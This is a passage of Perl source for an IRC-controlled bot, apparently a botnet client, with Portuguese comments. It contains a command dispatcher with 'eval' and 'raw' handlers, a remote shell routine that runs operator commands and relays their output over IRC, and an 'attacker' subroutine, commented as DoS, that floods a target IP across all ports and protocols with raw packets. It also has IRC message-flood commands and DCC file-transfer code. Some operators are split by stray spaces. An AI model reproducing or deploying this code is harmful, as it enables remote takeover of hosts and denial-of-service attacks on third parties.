  1758. } = $2 * $pacotes {
  1759. icmp
  1760. };
  1761.  
  1762.  
  1763.  
  1764. $bytes {
  1765. o
  1766. } = $2 * $pacotes {
  1767. o
  1768. };
  1769.  
  1770.  
  1771.  
  1772. $bytes {
  1773. udp
  1774. } = $2 * $pacotes {
  1775. udp
  1776. };
  1777.  
  1778.  
  1779.  
  1780. $bytes {
  1781. tcp
  1782. } = $2 * $pacotes {
  1783. tcp
  1784. };
  1785.  
  1786.  
  1787.  
  1788. unless($estatisticas)
  1789.  
  1790.  
  1791.  
  1792. {
  1793.  
  1794.  
  1795.  
  1796. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  1797.  
  1798.  
  1799.  
  1800. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime".
  1801. "s");
  1802.  
  1803.  
  1804.  
  1805. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes {
  1806. udp
  1807. } + $pacotes {
  1808. igmp
  1809. } + $pacotes {
  1810. icmp
  1811. } + $pacotes {
  1812. o
  1813. }));
  1814.  
  1815.  
  1816.  
  1817. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes {
  1818. icmp
  1819. } + $bytes {
  1820. igmp
  1821. } + $bytes {
  1822. udp
  1823. } + $bytes {
  1824. o
  1825. }));
  1826.  
  1827.  
  1828.  
  1829. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes {
  1830. icmp
  1831. } + $bytes {
  1832. igmp
  1833. } + $bytes {
  1834. udp
  1835. } + $bytes {
  1836. o
  1837. }) / 1024) / $dtime).
  1838. " kbps");
  1839.  
  1840.  
  1841.  
  1842. }
  1843.  
  1844.  
  1845.  
  1846. }
  1847.  
  1848.  
  1849.  
  1850. exit;
  1851.  
  1852.  
  1853.  
  1854. }
  1855.  
  1856.  
  1857.  
  1858. }
  1859.  
  1860.  
  1861.  
  1862. }
  1863.  
  1864.  
  1865.  
  1866.  
  1867. sub ircase {
  1868.  
  1869.  
  1870.  
  1871. my($kem, $printl, $case) = @_;
  1872.  
  1873.  
  1874.  
  1875.  
  1876. if ($case = ~/^join (.*)/) {
  1877.  
  1878.  
  1879.  
  1880. j("$1");
  1881.  
  1882.  
  1883.  
  1884. }
  1885.  
  1886.  
  1887.  
  1888. elsif($case = ~/^part (.*)/) {
  1889.  
  1890.  
  1891.  
  1892. p("$1");
  1893.  
  1894.  
  1895.  
  1896. }
  1897.  
  1898.  
  1899.  
  1900. elsif($case = ~/^rejoin\s+(.*)/) {
  1901.  
  1902.  
  1903.  
  1904. my $chan = $1;
  1905.  
  1906.  
  1907.  
  1908. if ($chan = ~/^(\d+) (.*)/) {
  1909.  
  1910.  
  1911.  
  1912. for (my $ca = 1; $ca <= $1; $ca++) {
  1913.  
  1914.  
  1915.  
  1916. p("$2");
  1917.  
  1918.  
  1919.  
  1920. j("$2");
  1921.  
  1922.  
  1923.  
  1924. }
  1925.  
  1926.  
  1927.  
  1928. } else {
  1929.  
  1930.  
  1931.  
  1932. p("$chan");
  1933.  
  1934.  
  1935.  
  1936. j("$chan");
  1937.  
  1938.  
  1939.  
  1940. }
  1941.  
  1942.  
  1943.  
  1944. }
  1945.  
  1946.  
  1947.  
  1948. elsif($case = ~/^op/) {
  1949.  
  1950.  
  1951.  
  1952. op("$printl", "$kem") if $case eq "op";
  1953.  
  1954.  
  1955.  
  1956. my $oarg = substr($case, 3);
  1957.  
  1958.  
  1959.  
  1960. op("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  1961.  
  1962.  
  1963.  
  1964. }
  1965.  
  1966.  
  1967.  
  1968. elsif($case = ~/^deop/) {
  1969.  
  1970.  
  1971.  
  1972. deop("$printl", "$kem") if $case eq "deop";
  1973.  
  1974.  
  1975.  
  1976. my $oarg = substr($case, 5);
  1977.  
  1978.  
  1979.  
  1980. deop("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  1981.  
  1982.  
  1983.  
  1984. }
  1985.  
  1986.  
  1987.  
  1988. elsif($case = ~/^voice/) {
  1989.  
  1990.  
  1991.  
  1992. voice("$printl", "$kem") if $case eq "voice";
  1993.  
  1994.  
  1995.  
  1996. $oarg = substr($case, 6);
  1997.  
  1998.  
  1999.  
  2000. voice("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  2001.  
  2002.  
  2003.  
  2004. }
  2005.  
  2006.  
  2007.  
  2008. elsif($case = ~/^devoice/) {
  2009.  
  2010.  
  2011.  
  2012. devoice("$printl", "$kem") if $case eq "devoice";
  2013.  
  2014.  
  2015.  
  2016. $oarg = substr($case, 8);
  2017.  
  2018.  
  2019.  
  2020. devoice("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  2021.  
  2022.  
  2023.  
  2024. }
  2025.  
  2026.  
  2027.  
  2028. elsif($case = ~/^msg\s+(\S+) (.*)/) {
  2029.  
  2030.  
  2031.  
  2032. msg("$1", "$2");
  2033.  
  2034.  
  2035.  
  2036. }
  2037.  
  2038.  
  2039.  
  2040. elsif($case = ~/^flood\s+(\d+)\s+(\S+) (.*)/) {
  2041.  
  2042.  
  2043.  
  2044. for (my $cf = 1; $cf <= $1; $cf++) {
  2045.  
  2046.  
  2047.  
  2048. msg("$2", "$3");
  2049.  
  2050.  
  2051.  
  2052. }
  2053.  
  2054.  
  2055.  
  2056. }
  2057.  
  2058.  
  2059.  
  2060. elsif($case = ~/^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  2061.  
  2062.  
  2063.  
  2064. for (my $cf = 1; $cf <= $1; $cf++) {
  2065.  
  2066.  
  2067.  
  2068. ctcp("$2", "$3");
  2069.  
  2070.  
  2071.  
  2072. }
  2073.  
  2074.  
  2075.  
  2076. }
  2077.  
  2078.  
  2079.  
  2080. elsif($case = ~/^ctcp\s+(\S+) (.*)/) {
  2081.  
  2082.  
  2083.  
  2084. ctcp("$1", "$2");
  2085.  
  2086.  
  2087.  
  2088. }
  2089.  
  2090.  
  2091.  
  2092. elsif($case = ~/^invite\s+(\S+) (.*)/) {
  2093.  
  2094.  
  2095.  
  2096. invite("$1", "$2");
  2097.  
  2098.  
  2099.  
  2100. }
  2101.  
  2102.  
  2103.  
  2104. elsif($case = ~/^nick (.*)/) {
  2105.  
  2106.  
  2107.  
  2108. nick("$1");
  2109.  
  2110.  
  2111.  
  2112. }
  2113.  
  2114.  
  2115.  
  2116. elsif($case = ~/^conecta\s+(\S+)\s+(\S+)/) {
  2117.  
  2118.  
  2119.  
  2120. conectar("$2", "$1", 6667);
  2121.  
  2122.  
  2123.  
  2124. }
  2125.  
  2126.  
  2127.  
  2128. elsif($case = ~/^send\s+(\S+)\s+(\S+)/) {
  2129.  
  2130.  
  2131.  
  2132. DCC::SEND("$1", "$2");
  2133.  
  2134.  
  2135.  
  2136. }
  2137.  
  2138.  
  2139.  
  2140. elsif($case = ~/^raw (.*)/) {
  2141.  
  2142.  
  2143.  
  2144. sendraw("$1");
  2145.  
  2146.  
  2147.  
  2148. }
  2149.  
  2150.  
  2151.  
  2152. elsif($case = ~/^eval (.*)/) {
  2153.  
  2154.  
  2155.  
  2156. eval "$1";
  2157.  
  2158.  
  2159.  
  2160. }
  2161.  
  2162.  
  2163.  
  2164. elsif($case = ~/^entra\s+(\S+)\s+(\d+)/) {
  2165.  
  2166.  
  2167.  
  2168. sleep int(rand($2));
  2169.  
  2170.  
  2171.  
  2172. j("$1");
  2173.  
  2174.  
  2175.  
  2176. }
  2177.  
  2178.  
  2179.  
  2180. elsif($case = ~/^sai\s+(\S+)\s+(\d+)/) {
  2181.  
  2182.  
  2183.  
  2184. sleep int(rand($2));
  2185.  
  2186.  
  2187.  
  2188. p("$1");
  2189.  
  2190.  
  2191.  
  2192. }
  2193.  
  2194.  
  2195.  
  2196. elsif($case = ~/^sair/) {
  2197.  
  2198.  
  2199.  
  2200. quit();
  2201.  
  2202.  
  2203.  
  2204. }
  2205.  
  2206.  
  2207.  
  2208. elsif($case = ~/^novonick/) {
  2209.  
  2210.  
  2211.  
  2212. my $novonick = getnick();
  2213.  
  2214.  
  2215.  
  2216. nick("$novonick");
  2217.  
  2218.  
  2219.  
  2220. }
  2221.  
  2222.  
  2223.  
  2224. elsif($case = ~/^estatisticas (.*)/) {
  2225.  
  2226.  
  2227.  
  2228. if ($1 eq "on") {
  2229.  
  2230.  
  2231.  
  2232. $estatisticas = 1;
  2233.  
  2234.  
  2235.  
  2236. msg("$printl", "Estatísticas ativadas!");
  2237.  
  2238.  
  2239.  
  2240. }
  2241. elsif($1 eq "off") {
  2242.  
  2243.  
  2244.  
  2245. $estatisticas = 0;
  2246.  
  2247.  
  2248.  
  2249. msg("$printl", "Estatísticas desativadas!");
  2250.  
  2251.  
  2252.  
  2253. }
  2254.  
  2255.  
  2256.  
  2257. }
  2258.  
  2259.  
  2260.  
  2261. elsif($case = ~/^pacotes (.*)/) {
  2262.  
  2263.  
  2264.  
  2265. if ($1 eq "on") {
  2266.  
  2267.  
  2268.  
  2269. $pacotes = 1;
  2270.  
  2271.  
  2272.  
  2273. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  2274.  
  2275.  
  2276.  
  2277. }
  2278. elsif($1 eq "off") {
  2279.  
  2280.  
  2281.  
  2282. $pacotes = 0;
  2283.  
  2284.  
  2285.  
  2286. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  2287.  
  2288.  
  2289.  
  2290. }
  2291.  
  2292.  
  2293.  
  2294. }
  2295.  
  2296.  
  2297.  
  2298. }
  2299.  
  2300.  
  2301.  
  2302. sub shell {
  2303.  
  2304.  
  2305.  
  2306. return unless $acessoshell;
  2307.  
  2308.  
  2309.  
  2310. my $printl = $_[0];
  2311.  
  2312.  
  2313.  
  2314. my $comando = $_[1];
  2315.  
  2316.  
  2317.  
  2318. if ($comando = ~/cd (.*)/) {
  2319.  
  2320.  
  2321.  
  2322. chdir("$1") || msg("$printl", "Diretório inexistente!");
  2323.  
  2324.  
  2325.  
  2326. return;
  2327.  
  2328.  
  2329.  
  2330. }
  2331.  
  2332.  
  2333.  
  2334. elsif($pid = fork) {
  2335.  
  2336.  
  2337.  
  2338. waitpid($pid, 0);
  2339.  
  2340.  
  2341.  
  2342. } else {
  2343.  
  2344.  
  2345.  
  2346. if (fork) {
  2347.  
  2348.  
  2349.  
  2350. exit;
  2351.  
  2352.  
  2353.  
  2354. } else {
  2355.  
  2356.  
  2357.  
  2358. my@ resp = `$comando 2>&1 3>&1`;
  2359.  
  2360.  
  2361.  
  2362. my $c = 0;
  2363.  
  2364.  
  2365.  
  2366. foreach my $linha(@resp) {
  2367.  
  2368.  
  2369.  
  2370. $c++;
  2371.  
  2372.  
  2373.  
  2374. chop $linha;
  2375.  
  2376.  
  2377.  
  2378. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  2379.  
  2380.  
  2381.  
  2382. if ($c >= "$linas_max") {
  2383.  
  2384.  
  2385.  
  2386. $c = 0;
  2387.  
  2388.  
  2389.  
  2390. sleep $sleep;
  2391.  
  2392.  
  2393.  
  2394. }
  2395.  
  2396.  
  2397.  
  2398. }
  2399.  
  2400.  
  2401.  
  2402. exit;
  2403.  
  2404.  
  2405.  
  2406. }
  2407.  
  2408.  
  2409.  
  2410. }
  2411.  
  2412.  
  2413.  
  2414. }
  2415.  
  2416.  
  2417.  
  2418.  
  2419. #
  2420. eu fiz um pacotadorzinhu e talz..dai colokemo ele aki
  2421.  
  2422.  
  2423.  
  2424. sub attacker {
  2425.  
  2426.  
  2427.  
  2428. my $iaddr = inet_aton($_[0]);
  2429.  
  2430.  
  2431.  
  2432. my $msg = 'B'
  2433. x $_[1];
  2434.  
  2435.  
  2436.  
  2437. my $ftime = $_[2];
  2438.  
  2439.  
  2440.  
  2441. my $cp = 0;
  2442.  
  2443.  
  2444.  
  2445. my( % pacotes);
  2446.  
  2447.  
  2448.  
  2449. $pacotes {
  2450. icmp
  2451. } = $pacotes {
  2452. igmp
  2453. } = $pacotes {
  2454. udp
  2455. } = $pacotes {
  2456. o
  2457. } = $pacotes {
  2458. tcp
  2459. } = 0;
  2460.  
  2461.  
  2462.  
  2463.  
  2464. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  2465.  
  2466.  
  2467.  
  2468. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  2469.  
  2470.  
  2471.  
  2472. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  2473.  
  2474.  
  2475.  
  2476. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  2477.  
  2478.  
  2479.  
  2480. return (undef) if $cp == 4;
  2481.  
  2482.  
  2483.  
  2484. my $itime = time;
  2485.  
  2486.  
  2487.  
  2488. my($cur_time);
  2489.  
  2490.  
  2491.  
  2492. while (1) {
  2493.  
  2494.  
  2495.  
  2496. for (my $porta = 1; $porta <= 65535; $porta++) {
  2497.  
  2498.  
  2499.  
  2500. $cur_time = time - $itime;
  2501.  
  2502.  
  2503.  
  2504. last
  2505. if $cur_time >= $ftime;
  2506.  
  2507.  
  2508.  
  2509. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  2510. igmp
  2511. }++
  2512. if ($pacotes == 1);
  2513.  
  2514.  
  2515.  
  2516. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  2517. udp
  2518. }++
  2519. if ($pacotes == 1);
  2520.  
  2521.  
  2522.  
  2523. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  2524. icmp
  2525. }++
  2526. if ($pacotes == 1);
  2527.  
  2528.  
  2529.  
  2530. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  2531. tcp
  2532. }++
  2533. if ($pacotes == 1);
  2534.  
  2535.  
  2536.  
  2537.  
  2538. #
  2539. DoS ? ? : P
  2540.  
  2541.  
  2542.  
  2543. for (my $pc = 3; $pc <= 255; $pc++) {
  2544.  
  2545.  
  2546.  
  2547. next
  2548. if $pc == 6;
  2549.  
  2550.  
  2551.  
  2552. $cur_time = time - $itime;
  2553.  
  2554.  
  2555.  
  2556. last
  2557. if $cur_time >= $ftime;
  2558.  
  2559.  
  2560.  
  2561. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  2562.  
  2563.  
  2564.  
  2565. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  2566. o
  2567. }++
  2568. if ($pacotes == 1);
  2569.  
  2570.  
  2571.  
  2572. }
  2573.  
  2574.  
  2575.  
  2576. }
  2577.  
  2578.  
  2579.  
  2580. last
  2581. if $cur_time >= $ftime;
  2582.  
  2583.  
  2584.  
  2585. }
  2586.  
  2587.  
  2588.  
  2589. return ($cur_time, % pacotes);
  2590.  
  2591.  
  2592.  
  2593. }
  2594.  
  2595.  
  2596.  
  2597.  
  2598. #############
  2599.  
  2600.  
  2601.  
  2602. #
  2603. ALIASES#
  2604.  
  2605.  
  2606.  
  2607. #############
  2608.  
  2609.  
  2610.  
  2611.  
  2612. sub action {
  2613.  
  2614.  
  2615.  
  2616. return unless $# _ == 1;
  2617.  
  2618.  
  2619.  
  2620. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  2621.  
  2622.  
  2623.  
  2624. }
  2625.  
  2626.  
  2627.  
  2628.  
  2629. sub ctcp {
  2630.  
  2631.  
  2632.  
  2633. return unless $# _ == 1;
  2634.  
  2635.  
  2636.  
  2637. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  2638.  
  2639.  
  2640.  
  2641. }
  2642.  
  2643.  
  2644.  
  2645. sub msg {
  2646.  
  2647.  
  2648.  
  2649. return unless $# _ == 1;
  2650.  
  2651.  
  2652.  
  2653. sendraw("PRIVMSG $_[0] :$_[1]");
  2654.  
  2655.  
  2656.  
  2657. }
  2658.  
  2659.  
  2660.  
  2661.  
  2662. sub notice {
  2663.  
  2664.  
  2665.  
  2666. return unless $# _ == 1;
  2667.  
  2668.  
  2669.  
  2670. sendraw("NOTICE $_[0] :$_[1]");
  2671.  
  2672.  
  2673.  
  2674. }
  2675.  
  2676.  
  2677.  
  2678.  
  2679. sub op {
  2680.  
  2681.  
  2682.  
  2683. return unless $# _ == 1;
  2684.  
  2685.  
  2686.  
  2687. sendraw("MODE $_[0] +o $_[1]");
  2688.  
  2689.  
  2690.  
  2691. }
  2692.  
  2693.  
  2694.  
  2695. sub deop {
  2696.  
  2697.  
  2698.  
  2699. return unless $# _ == 1;
  2700.  
  2701.  
  2702.  
  2703. sendraw("MODE $_[0] -o $_[1]");
  2704.  
  2705.  
  2706.  
  2707. }
  2708.  
  2709.  
  2710.  
  2711. sub hop {
  2712.  
  2713.  
  2714.  
  2715. return unless $# _ == 1;
  2716.  
  2717.  
  2718.  
  2719. sendraw("MODE $_[0] +h $_[1]");
  2720.  
  2721.  
  2722.  
  2723. }
  2724.  
  2725.  
  2726.  
  2727. sub dehop {
  2728.  
  2729.  
  2730.  
  2731. return unless $# _ == 1;
  2732.  
  2733.  
  2734.  
  2735. sendraw("MODE $_[0] +h $_[1]");
  2736.  
  2737.  
  2738.  
  2739. }
  2740.  
  2741.  
  2742.  
  2743. sub voice {
  2744.  
  2745.  
  2746.  
  2747. return unless $# _ == 1;
  2748.  
  2749.  
  2750.  
  2751. sendraw("MODE $_[0] +v $_[1]");
  2752.  
  2753.  
  2754.  
  2755. }
  2756.  
  2757.  
  2758.  
  2759. sub devoice {
  2760.  
  2761.  
  2762.  
  2763. return unless $# _ == 1;
  2764.  
  2765.  
  2766.  
  2767. sendraw("MODE $_[0] -v $_[1]");
  2768.  
  2769.  
  2770.  
  2771. }
  2772.  
  2773.  
  2774.  
  2775. sub ban {
  2776.  
  2777.  
  2778.  
  2779. return unless $# _ == 1;
  2780.  
  2781.  
  2782.  
  2783. sendraw("MODE $_[0] +b $_[1]");
  2784.  
  2785.  
  2786.  
  2787. }
  2788.  
  2789.  
  2790.  
  2791. sub unban {
  2792.  
  2793.  
  2794.  
  2795. return unless $# _ == 1;
  2796.  
  2797.  
  2798.  
  2799. sendraw("MODE $_[0] -b $_[1]");
  2800.  
  2801.  
  2802.  
  2803. }
  2804.  
  2805.  
  2806.  
  2807. sub kick {
  2808.  
  2809.  
  2810.  
  2811. return unless $# _ == 1;
  2812.  
  2813.  
  2814.  
  2815. sendraw("KICK $_[0] $_[1] :$_[2]");
  2816.  
  2817.  
  2818.  
  2819. }
  2820.  
  2821.  
  2822.  
  2823.  
  2824. sub modo {
  2825.  
  2826.  
  2827.  
  2828. return unless $# _ == 0;
  2829.  
  2830.  
  2831.  
  2832. sendraw("MODE $_[0] $_[1]");
  2833.  
  2834.  
  2835.  
  2836. }
  2837.  
  2838.  
  2839.  
  2840. sub mode {
  2841. modo(@_);
  2842. }
  2843.  
  2844.  
  2845.  
  2846.  
  2847. sub j { & join(@_);
  2848. }
  2849.  
  2850.  
  2851.  
  2852. sub join {
  2853.  
  2854.  
  2855.  
  2856. return unless $# _ == 0;
  2857.  
  2858.  
  2859.  
  2860. sendraw("JOIN $_[0]");
  2861.  
  2862.  
  2863.  
  2864. }
  2865.  
  2866.  
  2867.  
  2868. sub p {
  2869. part(@_);
  2870. }
  2871.  
  2872.  
  2873.  
  2874. sub part {
  2875. sendraw("PART $_[0]");
  2876. }
  2877.  
  2878.  
  2879.  
  2880.  
  2881. sub nick {
  2882.  
  2883.  
  2884.  
  2885. return unless $# _ == 0;
  2886.  
  2887.  
  2888.  
  2889. sendraw("NICK $_[0]");
  2890.  
  2891.  
  2892.  
  2893. }
  2894.  
  2895.  
  2896.  
  2897.  
  2898. sub invite {
  2899.  
  2900.  
  2901.  
  2902. return unless $# _ == 1;
  2903.  
  2904.  
  2905.  
  2906. sendraw("INVITE $_[1] $_[0]");
  2907.  
  2908.  
  2909.  
  2910. }
  2911.  
  2912.  
  2913.  
  2914. sub topico {
  2915.  
  2916.  
  2917.  
  2918. return unless $# _ == 1;
  2919.  
  2920.  
  2921.  
  2922. sendraw("TOPIC $_[0] $_[1]");
  2923.  
  2924.  
  2925.  
  2926. }
  2927.  
  2928.  
  2929.  
  2930. sub topic {
  2931. topico(@_);
  2932. }
  2933.  
  2934.  
  2935.  
  2936.  
  2937. sub whois {
  2938.  
  2939.  
  2940.  
  2941. return unless $# _ == 0;
  2942.  
  2943.  
  2944.  
  2945. sendraw("WHOIS $_[0]");
  2946.  
  2947.  
  2948.  
  2949. }
  2950.  
  2951.  
  2952.  
  2953. sub who {
  2954.  
  2955.  
  2956.  
  2957. return unless $# _ == 0;
  2958.  
  2959.  
  2960.  
  2961. sendraw("WHO $_[0]");
  2962.  
  2963.  
  2964.  
  2965. }
  2966.  
  2967.  
  2968.  
  2969. sub names {
  2970.  
  2971.  
  2972.  
  2973. return unless $# _ == 0;
  2974.  
  2975.  
  2976.  
  2977. sendraw("NAMES $_[0]");
  2978.  
  2979.  
  2980.  
  2981. }
  2982.  
  2983.  
  2984.  
  2985. sub away {
  2986.  
  2987.  
  2988.  
  2989. sendraw("AWAY $_[0]");
  2990.  
  2991.  
  2992.  
  2993. }
  2994.  
  2995.  
  2996.  
  2997. sub back {
  2998. away();
  2999. }
  3000.  
  3001.  
  3002.  
  3003. sub quit {
  3004.  
  3005.  
  3006.  
  3007. sendraw("QUIT :$_[0]");
  3008.  
  3009.  
  3010.  
  3011. exit;
  3012.  
  3013.  
  3014.  
  3015. }
  3016.  
  3017.  
  3018.  
  3019.  
  3020. #
  3021. DCC
  3022.  
  3023.  
  3024.  
  3025. package DCC;
  3026.  
  3027.  
  3028.  
  3029.  
  3030. sub connections {
  3031.  
  3032.  
  3033.  
  3034. my@ ready = $dcc_sel - > can_read(1);
  3035.  
  3036.  
  3037.  
  3038. #
  3039. return unless(@ready);
  3040.  
  3041.  
  3042.  
  3043. foreach my $fh(@ready) {
  3044.  
  3045.  
  3046.  
  3047. my $dcctipo = $DCC {
  3048. $fh
  3049. } {
  3050. tipo
  3051. };
  3052.  
  3053.  
  3054.  
  3055. my $arquivo = $DCC {
  3056. $fh
  3057. } {
  3058. arquivo
  3059. };
  3060.  
  3061.  
  3062.  
  3063. my $bytes = $DCC {
  3064. $fh
  3065. } {
  3066. bytes
  3067. };
  3068.  
  3069.  
  3070.  
  3071. my $cur_byte = $DCC {
  3072. $fh
  3073. } {
  3074. curbyte
  3075. };
  3076.  
  3077.  
  3078.  
  3079. my $nick = $DCC {
  3080. $fh
  3081. } {
  3082. nick
  3083. };
  3084.  
  3085.  
  3086.  
  3087.  
  3088. my $msg;
  3089.  
  3090.  
  3091.  
  3092. my $nread = sysread($fh, $msg, 10240);
  3093.  
  3094.  
  3095.  
  3096.  
  3097. if ($nread == 0 and $dcctipo = ~/^(get|sendcon)$/) {
  3098.  
  3099.  
  3100.  
  3101. $DCC {
  3102. $fh
  3103. } {
  3104. status
  3105. } = "Cancelado";
  3106.  
  3107.  
  3108.  
  3109. $DCC {
  3110. $fh
  3111. } {
  3112. ftime
  3113. } = time;
  3114.  
  3115.  
  3116.  
  3117. $dcc_sel - > remove($fh);
  3118.  
  3119.  
  3120.  
  3121. $fh - > close;
  3122.  
  3123.  
  3124.  
  3125. next;
  3126.  
  3127.  
  3128.  
  3129. }
  3130.  
  3131.  
  3132.  
  3133.  
  3134. if ($dcctipo eq "get") {
  3135.  
  3136.  
  3137.  
  3138. $DCC {
  3139. $fh
  3140. } {
  3141. curbyte
  3142. } += length($msg);
  3143.  
  3144.  
  3145.  
  3146.  
  3147. my $cur_byte = $DCC {
  3148. $fh
  3149. } {
  3150. curbyte
  3151. };
  3152.  
  3153.  
  3154.  
  3155.  
  3156. open(FILE, ">> $arquivo");
  3157.  
  3158.  
  3159.  
  3160. print FILE "$msg"
  3161. if ($cur_byte <= $bytes);
  3162.  
  3163.  
  3164.  
  3165. close(FILE);
  3166.  
  3167.  
  3168.  
  3169.  
  3170. my $packbyte = pack("N", $cur_byte);
  3171.  
  3172.  
  3173.  
  3174. print $fh "$packbyte";
  3175.  
  3176.  
  3177.  
  3178.  
  3179. if ($bytes == $cur_byte) {
  3180.  
  3181.  
  3182.  
  3183. $dcc_sel - > remove($fh);
  3184.  
  3185.  
  3186.  
  3187. $fh - > close;
  3188.  
  3189.  
  3190.  
  3191. $DCC {
  3192. $fh
  3193. } {
  3194. status
  3195. } = "Recebido";
  3196.  
  3197.  
  3198.  
  3199. $DCC {
  3200. $fh
  3201. } {
  3202. ftime
  3203. } = time;
  3204.  
  3205.  
  3206.  
  3207. next;
  3208.  
  3209.  
  3210.  
  3211. }
  3212.  
  3213.  
  3214.  
  3215. }
  3216. elsif($dcctipo eq "send") {
  3217.  
  3218.  
  3219.  
  3220. my $send = $fh - > accept;
  3221.  
  3222.  
  3223.  
  3224. $send - > autoflush(1);
  3225.  
  3226.  
  3227.  
  3228. $dcc_sel - > add($send);
  3229.  
  3230.  
  3231.  
  3232. $dcc_sel - > remove($fh);
  3233.  
  3234.  
  3235.  
  3236. $DCC {
  3237. $send
  3238. } {
  3239. tipo
  3240. } = 'sendcon';
  3241.  
  3242.  
  3243.  
  3244. $DCC {
  3245. $send
  3246. } {
  3247. itime
  3248. } = time;
  3249.  
  3250.  
  3251.  
  3252. $DCC {
  3253. $send
  3254. } {
  3255. nick
  3256. } = $nick;
  3257.  
  3258.  
  3259.  
  3260. $DCC {
  3261. $send
  3262. } {
  3263. bytes
  3264. } = $bytes;
  3265.  
  3266.  
  3267.  
  3268. $DCC {
  3269. $send
  3270. } {
  3271. curbyte
  3272. } = 0;
  3273.  
  3274.  
  3275.  
  3276. $DCC {
  3277. $send
  3278. } {
  3279. arquivo
  3280. } = $arquivo;
  3281.  
  3282.  
  3283.  
  3284. $DCC {
  3285. $send
  3286. } {
  3287. ip
  3288. } = $send - > peerhost;
  3289.  
  3290.  
  3291.  
  3292. $DCC {
  3293. $send
  3294. } {
  3295. porta
  3296. } = $send - > peerport;
  3297.  
  3298.  
  3299.  
  3300. $DCC {
  3301. $send
  3302. } {
  3303. status
  3304. } = "Enviando";
  3305.  
  3306.  
  3307.  
  3308.  
  3309. #
  3310. de cara manda os primeiro 1024 bytes do arkivo..o resto fik com o sendcon
  3311.  
  3312.  
  3313.  
  3314. open(FILE, "< $arquivo");
  3315.  
  3316.  
  3317.  
  3318. my $fbytes;
  3319.  
  3320.  
  3321.  
  3322. read(FILE, $fbytes, 1024);
  3323.  
  3324.  
  3325.  
  3326. print $send "$fbytes";
  3327.  
  3328.  
  3329.  
  3330. close FILE;
  3331.  
  3332.  
  3333.  
  3334. #
  3335. delete($DCC {
  3336. $fh
  3337. });
  3338.  
  3339.  
  3340.  
  3341. }
  3342. elsif($dcctipo eq 'sendcon') {
  3343.  
  3344.  
  3345.  
  3346. my $bytes_sended = unpack("N", $msg);
  3347.  
  3348.  
  3349.  
  3350. $DCC {
  3351. $fh
  3352. } {
  3353. curbyte
  3354. } = $bytes_sended;
  3355.  
  3356.  
  3357.  
  3358. if ($bytes_sended == $bytes) {
  3359.  
  3360.  
  3361.  
  3362. $fh - > close;
  3363.  
  3364.  
  3365.  
  3366. $dcc_sel - > remove($fh);
  3367.  
  3368.  
  3369.  
  3370. $DCC {
  3371. $fh
  3372. } {
  3373. status
  3374. } = "Enviado";
  3375.  
  3376.  
  3377.  
  3378. $DCC {
  3379. $fh
  3380. } {
  3381. ftime
  3382. } = time;
  3383.  
  3384.  
  3385.  
  3386. next;
  3387.  
  3388.  
  3389.  
  3390. }
  3391.  
  3392.  
  3393.  
  3394. open(SENDFILE, "< $arquivo");
  3395.  
  3396.  
  3397.  
  3398. seek(SENDFILE, $bytes_sended, 0);
  3399.  
  3400.  
  3401.  
  3402. my $send_bytes;
  3403.  
  3404.  
  3405.  
  3406. read(SENDFILE, $send_bytes, 1024);
  3407.  
  3408.  
  3409.  
  3410. print $fh "$send_bytes";
  3411.  
  3412.  
  3413.  
  3414. close(SENDFILE);
  3415.  
  3416.  
  3417.  
  3418. }
  3419.  
  3420.  
  3421.  
  3422. }
  3423.  
  3424.  
  3425.  
  3426. }
  3427.  
  3428.  
  3429.  
  3430.  
  3431. sub SEND {
  3432.  
  3433.  
  3434.  
  3435. my($nick, $arquivo) = @_;
  3436.  
  3437.  
  3438.  
  3439. unless(-r "$arquivo") {
  3440.  
  3441.  
  3442.  
  3443. return (0);
  3444.  
  3445.  
  3446.  
  3447. }
  3448.  
  3449.  
  3450.  
  3451.  
  3452. my $dccark = $arquivo;
  3453.  
  3454.  
  3455.  
  3456. $dccark = ~s / [.*\/](\S+)/$
  3457. 1 / ;
  3458.  
  3459.  
  3460.  
  3461.  
  3462. my $meuip = $::irc_servers {
  3463. "$::IRC_cur_socket"
  3464. } {
  3465. 'meuip'
  3466. };
  3467.  
  3468.  
  3469.  
  3470. my $longip = unpack("N", inet_aton($meuip));
  3471.  
  3472.  
  3473.  
  3474.  
  3475. my@ filestat = stat($arquivo);
  3476.  
  3477.  
  3478.  
  3479. my $size_total = $filestat[7];
  3480.  
  3481.  
  3482.  
  3483. if ($size_total == 0) {
  3484.  
  3485.  
  3486.  
  3487. return (0);
  3488.  
  3489.  
  3490.  
  3491. }
  3492.  
  3493.  
  3494.  
  3495.  
  3496. my($porta, $sendsock);
  3497.  
  3498.  
  3499.  
  3500. do {
  3501.  
  3502.  
  3503.  
  3504. $porta = int rand(64511);
  3505.  
  3506.  
  3507.  
  3508. $porta += 1024;
  3509.  
  3510.  
  3511.  
  3512. $sendsock = IO::Socket::INET - > new(Listen => 1, LocalPort => $porta, Proto => 'tcp') and $dcc_sel - > add($sendsock);
  3513.  
